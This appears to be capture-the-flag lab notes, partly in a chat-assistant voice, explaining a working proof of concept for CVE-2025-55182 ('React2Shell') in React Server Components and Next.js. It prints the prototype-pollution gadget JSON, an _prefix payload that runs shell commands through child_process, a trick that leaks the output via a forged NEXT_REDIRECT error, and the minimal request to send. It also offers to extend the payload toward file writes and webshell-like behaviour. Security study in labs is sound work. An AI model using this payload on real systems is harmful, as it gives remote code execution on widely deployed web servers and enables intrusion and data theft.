React2shell
[!bug] React2Shell: CVE-2025-55182 React2Shell PoC that really works
- and just find flag:
find / -maxdepth 4 -iname \"*flag*\" 2>/dev/null
[!tldr] how it actually works
How it works¶
Why this doesn't works¶
...but this does:
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"
Those X-Nextjs-* headers – what are they?¶
- These are framework-level correlation IDs – same idea as
X-Request-ID, used for logging/tracing across internal requests. (Stack Overflow) - Next.js / Vercel will often generate them server-side and send them down. They might also be echoed back to internal logs to help debug issues. (GitHub)
- For the vuln/exploit, they are not part of the RSC protocol and not required for the React2Shell chain.
That’s why with no X-Nextjs-* headers — and the exploit still hits. So:
those headers came from whatever original request the PoC author sniffed; you
can usually drop them unless the app itself uses them for something custom
(auth, CSRF, etc.), which most don’t.
What is NEXT_REDIRECT and why are we throwing it?¶
In Next.js App Router, redirects don’t work like res.redirect() in
old-school Express. Instead, they use a special helper:
[!tldr] Docs literally say: Invoking the
redirect()function throws aNEXT_REDIRECTerror and terminates rendering of the route segment in which it was thrown. Next.js Docs
So under the hood:
redirect()(andpermanentRedirect()) throw an Error object whose message/name is"NEXT_REDIRECT"and whosedigestproperty encodes redirect metadata.- The Next.js runtime catches that special error upstream and:
- sets the right HTTP status (302/307/308),
- sets
Location: ..., - or, in RSC mode, encodes it in the response stream (
E{"digest": ...}).
Security writeups for CVE-2025-55182 show exactly this pattern being abused in exploits: (Datadog Security Labs)
throw Object.assign(new Error("NEXT_REDIRECT"), {
digest: `NEXT_REDIRECT;push;/some/route;307;`,
});
So in your payload:
var res = process.mainModule
.require("child_process")
.execSync("id", { timeout: 5000 })
.toString()
.trim();
throw Object.assign(new Error("NEXT_REDIRECT"), {
digest: `${res}`,
});
you are:
- Using the RCE primitive to run
id. - Grabbing its output into
res. - Throwing a fake redirect error where
digestis actually your command output, not a real redirect descriptor.
Next’s runtime still treats it as a redirect-ish error and serializes it in the Flight stream as:
[!question] So, difference only in error handler? We just redirect payload to error?
Close, but more precise framing:
- We’re not “redirecting” the payload; we’re smuggling data through the redirect error channel.
- The RCE happens because of the RSC/proto-pollution gadget.
- The
NEXT_REDIRECTerror is just a legit, expected code path that:- propagates through the framework nicely,
- gets serialized in a predictable way,
- and is attacker-controllable → perfect data exfil channel.
Earlier, when you only had:
You might have had RCE already, but:
- no returned value,
- no file written,
- no error thrown with that output,
→ so there was no observable side channel for the command result in the HTTP response. It just ran and vanished.
So what’s actually “the key” in this payload?¶
You’ve got two distinct layers:
1️⃣ The RCE primitive (React Flight / prototype-pollution)¶
This part:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res = ...; throw Object.assign(new Error('NEXT_REDIRECT'), {...});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Is abusing the React Flight deserializer to:
- pollute
__proto__.then, - climb to
constructor.constructor→Function, - call
Function(_prefix)to run arbitrary JS. (GitHub)
That’s the actual exploit.
2️⃣ The exfil channel (error / redirect plumbing)¶
Inside _prefix, you decide:
- how to run your payload (
execSync('id')), - and how to leak it back (here:
Error('NEXT_REDIRECT')withdigest = res).
You could just as well:
- write to a file,
- set some global state the app later reveals,
- or craft a
digestthat conforms to Next’s redirect format ("NEXT_REDIRECT;push;/foo?a=${res};307;") and leak viaLocationheader instead. (Datadog Security Labs)
So yeah, the structure (then, status, value, _formData.get,
_chunks) is non-negotiable RCE plumbing. The NEXT_REDIRECT bit is an
optional but very handy trick to turn “blind RCE” into “RCE with visible
output”.
4. Why did your stripped-down version now work?¶
Your final working request:
POST / HTTP/1.1
Host: 10.0.2.15:1337
Next-Action: x
Content-Type: multipart/form-data; boundary=...
--boundary
name="0" → gadget JSON
--boundary
name="1" → "$@0"
--boundary
name="2" → []
--boundary--
is basically:
- the minimal valid RSC action call for that lab,
- plus the proper gadget JSON and the
NEXT_REDIRECT-style error handler.
You proved that:
X-Nextjs-Request-Id/X-Nextjs-Html-Request-Idare irrelevant noise.payload is a key ok→ yes: the gadget + error plumbing is the heart of the exploit, not those headers.
If you want to go deeper, good reads (no HTB spoilers, just internals):
- freeqaz’s React2Shell writeup (Flight protocol & proto-pollution chain). (GitHub)
- Next.js docs on
redirect()/permanentRedirect()to see howNEXT_REDIRECTis meant to behave normally. (Next.js)
If you want, next step we can walk through rewriting _prefix to do
something else (file write, simple webshell-like behavior, etc.) while still
using the same NEXT_REDIRECT trick to confirm it works, without touching
anything HTB-specific.
Because the first one only runs code, while the second one runs code and stuffs the result into a channel Next.js actually serializes and sends back to you.
Short version in hacker-speak:
_prefix: execSync('id');→ RCE happens, but the output dies on the server._prefix: var res=...; throw NEXT_REDIRECT with digest=res;→ RCE happens and you hijack Next.js' redirect mechanism to smuggle the output back.
Let’s map that to how Next.js actually works.
1. What _prefix really is¶
In the React2Shell / RSC vuln (CVE-2025-55182), _prefix becomes the body of
a dynamically constructed function. That function is executed server-side.
So with:
you’re effectively doing:
function injected() {
process.mainModule.require("child_process").execSync("id"); // runs, returns a Buffer, but you ignore it
// function ends
}
Result:
idruns on the server.- You don’t return anything, don’t throw anything.
- React / Next just continues rendering like nothing happened.
- There’s no link between that Buffer and the RSC/Flight response, so the client never sees it.
You have RCE, but no exfil, so “it doesn’t work” from your perspective.
2. What the working payload does¶
Now look at the “good” version:
var res = process.mainModule
.require("child_process")
.execSync("id", { timeout: 5000 })
.toString()
.trim();
throw Object.assign(new Error("NEXT_REDIRECT"), { digest: `${res}` });
This does two critical things:
- Captures the command output into a variable (
res). - Throws a special error that Next.js understands and serializes.
2.1 NEXT_REDIRECT is not a random string¶
Next.js’ redirect() helper (from next/navigation) is implemented by throwing
a special error type. Docs literally say:
Invoking the
redirect()function throws aNEXT_REDIRECTerror and terminates rendering of the route segment in which it was thrown.
Internally, that error has a digest property, e.g.:
The framework catches that and uses digest to:
- Decide the HTTP status (302/307/etc.),
- Set headers,
-
Encode it into the React Flight stream as an error chunk like:
The Medium / blog posts on this show the same pattern: redirect() → throws
NEXT_REDIRECT with a digest that the runtime inspects.
2.2 You’re hijacking that mechanism¶
Your payload:
= “Pretend this is a normal Next.js redirect error, but instead of a real
redirect descriptor, put my command output into digest.”
Next’s RSC layer sees:
- An error whose
message='NEXT_REDIRECT' - Has a
digeststring =uid=0(root)...
It happily serializes it into the Flight response as:
So now:
- Same RCE primitive as before,
- But the result is smuggled back via an expected code path (redirect error handling),
- And you can read it from the response.
3. TL;DR difference¶
-
Non-working (from your POV)
- Runs
id. - Discards the result.
- Doesn’t throw or return anything special.
- Next.js has nothing interesting to serialize → you see no command output.
- Runs
-
Working
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"- Runs
id. - Stores stdout in
res. - Throws a
NEXT_REDIRECTerror (same mechanismredirect()uses). - Next.js expects to serialize this error’s
digestinto the RSC/Flight stream. - You’ve replaced that digest with your command output → you get visible output.
- Runs
So: both payloads give you RCE, but only the second one also gives you a reliable, framework-native exfil channel.